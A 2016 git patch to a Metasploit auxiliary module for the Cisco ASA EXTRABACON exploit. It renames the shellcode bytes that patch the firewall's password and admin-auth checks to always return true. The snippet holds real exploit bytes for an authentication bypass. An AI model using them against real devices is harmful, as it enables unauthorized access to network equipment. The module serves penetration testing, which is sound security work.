From 4288c3fb46e61c6c2844c743ce55689e97c63fb4 Mon Sep 17 00:00:00 2001 From: zerosum0x0 Date: Thu, 22 Sep 2016 19:44:55 +0000 Subject: [PATCH] added always_return_true variable --- modules/auxiliary/admin/cisco/cisco_asa_extrabacon.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/admin/cisco/cisco_asa_extrabacon.rb b/modules/auxiliary/admin/cisco/cisco_asa_extrabacon.rb index d0aaf7279a..87d6bb9608 100644 --- a/modules/auxiliary/admin/cisco/cisco_asa_extrabacon.rb +++ b/modules/auxiliary/admin/cisco/cisco_asa_extrabacon.rb @@ -88,8 +88,9 @@ class MetasploitModule < Msf::Auxiliary def build_shellcode(asa_vers, mode) if mode == 'pass-disable' - pmcheck_bytes = "49.192.64.195" # return true code - admauth_bytes = "49.192.64.195" + always_return_true = "49.192.64.195" + pmcheck_bytes = always_return_true + admauth_bytes = always_return_true else pmcheck_bytes = @shellcode[asa_vers][5] admauth_bytes = @shellcode[asa_vers][8]